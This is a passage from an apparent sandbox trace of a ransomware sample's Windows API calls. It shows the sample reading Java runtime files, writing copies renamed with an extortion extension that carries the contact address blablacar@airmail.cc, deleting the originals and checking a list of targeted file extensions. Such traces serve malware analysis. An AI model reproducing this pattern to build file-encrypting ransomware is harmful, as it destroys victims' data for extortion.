(hFile=0x408) returned 1 [0181.320] CloseHandle (hObject=0x408) returned 1 [0181.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.547] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0181.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.547] lstrlenW (lpString=".doc") returned 4 [0181.547] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.547] lstrlenW (lpString=".docx") returned 5 [0181.547] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0181.547] lstrlenW (lpString=".pdf") returned 4 [0181.548] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString=".xls") returned 4 [0181.548] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.548] lstrlenW (lpString=".xlsx") returned 5 [0181.548] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0181.548] lstrlenW (lpString=".ppt") returned 4 [0181.548] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.548] lstrlenW (lpString=".zip") returned 4 [0181.548] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.548] lstrlenW (lpString=".rar") returned 4 [0181.548] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString=".bz2") returned 4 [0181.548] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString=".7z") returned 3 [0181.548] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.548] lstrlenW (lpString=".dbf") returned 4 [0181.548] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.548] lstrlenW (lpString=".1cd") returned 4 [0181.548] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.548] lstrlenW (lpString=".jpg") returned 4 [0181.548] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.548] lstrlenW (lpString=".doc") returned 4 [0181.548] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.548] lstrlenW (lpString=".docx") returned 5 [0181.548] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0181.548] lstrlenW (lpString=".pdf") returned 4 [0181.549] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.549] lstrlenW (lpString=".xls") returned 4 [0181.549] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.549] lstrlenW (lpString=".xlsx") returned 5 [0181.549] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0181.549] lstrlenW (lpString=".ppt") returned 4 [0181.549] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.549] lstrlenW (lpString=".zip") returned 4 [0181.549] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.549] lstrlenW (lpString=".rar") returned 4 [0181.549] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.549] lstrlenW (lpString=".bz2") returned 4 [0181.549] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.549] lstrlenW (lpString=".7z") returned 3 [0181.549] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.549] lstrlenW (lpString=".dbf") returned 4 [0181.549] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.549] lstrlenW (lpString=".1cd") returned 4 [0181.549] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0181.549] lstrlenW (lpString=".jpg") returned 4 [0181.549] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.549] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0181.549] lstrlenW (lpString="jce.jar") returned 7 [0181.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.550] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=116446) returned 1 [0181.550] CloseHandle (hObject=0x454) returned 1 [0181.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0181.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.550] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.551] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.551] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0181.555] GetLastError () returned 0x0 [0181.555] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0181.560] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0181.563] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.563] WriteFile (in: hFile=0x458, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe2, lpOverlapped=0x0) returned 1 [0181.563] SetEndOfFile (hFile=0x458) returned 1 [0181.563] CloseHandle (hObject=0x458) returned 1 [0181.567] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.567] SetEndOfFile (hFile=0x454) returned 1 [0181.571] CloseHandle (hObject=0x454) returned 1 [0181.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.572] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0181.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.572] lstrlenW (lpString=".doc") returned 4 [0181.572] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0181.572] lstrlenW (lpString=".docx") returned 5 [0181.572] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0181.573] lstrlenW (lpString=".pdf") returned 4 [0181.573] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0181.573] lstrlenW (lpString=".xls") returned 4 [0181.573] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0181.573] lstrlenW (lpString=".xlsx") returned 5 [0181.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0181.573] lstrlenW (lpString=".ppt") returned 4 [0181.573] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0181.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.573] lstrlenW (lpString=".zip") returned 4 [0181.573] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0181.573] lstrlenW (lpString=".rar") returned 4 [0181.573] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0181.573] lstrlenW (lpString=".bz2") returned 4 [0181.573] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0181.573] lstrlenW (lpString=".7z") returned 3 [0181.573] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0181.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.573] lstrlenW (lpString=".dbf") returned 4 [0181.573] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0181.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.573] lstrlenW (lpString=".1cd") returned 4 [0181.573] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0181.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.573] lstrlenW (lpString=".jpg") returned 4 [0181.573] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0181.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.573] lstrlenW (lpString=".doc") returned 4 [0181.573] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0181.573] lstrlenW (lpString=".docx") returned 5 [0181.573] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0181.573] lstrlenW (lpString=".pdf") returned 4 [0181.574] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0181.574] lstrlenW (lpString=".xls") returned 4 [0181.574] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0181.574] lstrlenW (lpString=".xlsx") returned 5 [0181.574] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0181.574] lstrlenW (lpString=".ppt") returned 4 [0181.574] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0181.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.574] lstrlenW (lpString=".zip") returned 4 [0181.574] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0181.574] lstrlenW (lpString=".rar") returned 4 [0181.574] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0181.574] lstrlenW (lpString=".bz2") returned 4 [0181.574] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0181.574] lstrlenW (lpString=".7z") returned 3 [0181.574] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0181.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.574] lstrlenW (lpString=".dbf") returned 4 [0181.574] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0181.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.574] lstrlenW (lpString=".1cd") returned 4 [0181.574] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0181.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0181.574] lstrlenW (lpString=".jpg") returned 4 [0181.574] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0181.574] lstrcmpiW (lpString1=".jfc", lpString2=".kr") returned -1 [0181.574] lstrlenW (lpString="default.jfc") returned 11 [0181.574] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.575] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20109) returned 1 [0181.575] CloseHandle (hObject=0x454) returned 1 [0181.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0181.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.575] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.576] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.576] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0181.676] GetLastError () returned 0x0 [0181.697] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0181.710] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0181.711] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.711] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xea, lpOverlapped=0x0) returned 1 [0181.711] SetEndOfFile (hFile=0x3e0) returned 1 [0181.712] CloseHandle (hObject=0x3e0) returned 1 [0181.713] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.713] SetEndOfFile (hFile=0x454) returned 1 [0181.716] CloseHandle (hObject=0x454) returned 1 [0181.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.716] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.717] lstrlenW (lpString=".doc") returned 4 [0181.717] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0181.717] lstrlenW (lpString=".docx") returned 5 [0181.717] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0181.717] lstrlenW (lpString=".pdf") returned 4 [0181.717] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0181.717] lstrlenW (lpString=".xls") returned 4 [0181.717] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0181.717] lstrlenW (lpString=".xlsx") returned 5 [0181.717] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0181.717] lstrlenW (lpString=".ppt") returned 4 [0181.717] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.717] lstrlenW (lpString=".zip") returned 4 [0181.717] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0181.717] lstrlenW (lpString=".rar") returned 4 [0181.717] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0181.717] lstrlenW (lpString=".bz2") returned 4 [0181.717] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0181.717] lstrlenW (lpString=".7z") returned 3 [0181.717] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.717] lstrlenW (lpString=".dbf") returned 4 [0181.717] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.717] lstrlenW (lpString=".1cd") returned 4 [0181.717] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.717] lstrlenW (lpString=".jpg") returned 4 [0181.717] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0181.717] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.718] lstrlenW (lpString=".doc") returned 4 [0181.718] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0181.718] lstrlenW (lpString=".docx") returned 5 [0181.718] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0181.718] lstrlenW (lpString=".pdf") returned 4 [0181.718] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0181.718] lstrlenW (lpString=".xls") returned 4 [0181.718] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0181.718] lstrlenW (lpString=".xlsx") returned 5 [0181.718] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0181.718] lstrlenW (lpString=".ppt") returned 4 [0181.718] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0181.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.718] lstrlenW (lpString=".zip") returned 4 [0181.718] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0181.718] lstrlenW (lpString=".rar") returned 4 [0181.718] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0181.718] lstrlenW (lpString=".bz2") returned 4 [0181.718] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0181.718] lstrlenW (lpString=".7z") returned 3 [0181.718] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0181.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.718] lstrlenW (lpString=".dbf") returned 4 [0181.718] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0181.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.718] lstrlenW (lpString=".1cd") returned 4 [0181.718] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0181.718] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0181.718] lstrlenW (lpString=".jpg") returned 4 [0181.718] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0181.719] lstrcmpiW (lpString1=".jfc", lpString2=".kr") returned -1 [0181.719] lstrlenW (lpString="profile.jfc") returned 11 [0181.719] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.719] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20065) returned 1 [0181.719] CloseHandle (hObject=0x454) returned 1 [0181.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0181.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0181.723] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.723] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0181.724] GetLastError () returned 0x0 [0181.724] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4e61, lpOverlapped=0x0) returned 1 [0181.726] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4e70, lpOverlapped=0x0) returned 1 [0181.727] ReadFile (in: hFile=0x454, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.727] WriteFile (in: hFile=0x3e0, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xea, lpOverlapped=0x0) returned 1 [0181.727] SetEndOfFile (hFile=0x3e0) returned 1 [0181.728] CloseHandle (hObject=0x3e0) returned 1 [0181.729] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.729] SetEndOfFile (hFile=0x454) returned 1 [0181.732] CloseHandle (hObject=0x454) returned 1 [0181.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.733] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0181.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0181.733] lstrlenW (lpString=".doc") returned 4 [0181.733] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0181.733] lstrlenW (lpString=".docx") returned 5 [0181.734] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0181.734] lstrlenW (lpString=".pdf") returned 4 [0181.734] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0181.734] lstrlenW (lpString=".xls") returned 4 [0181.734] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0181.734] lstrlenW (lpString=".xlsx") returned 5 [0181.734] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0181.734] 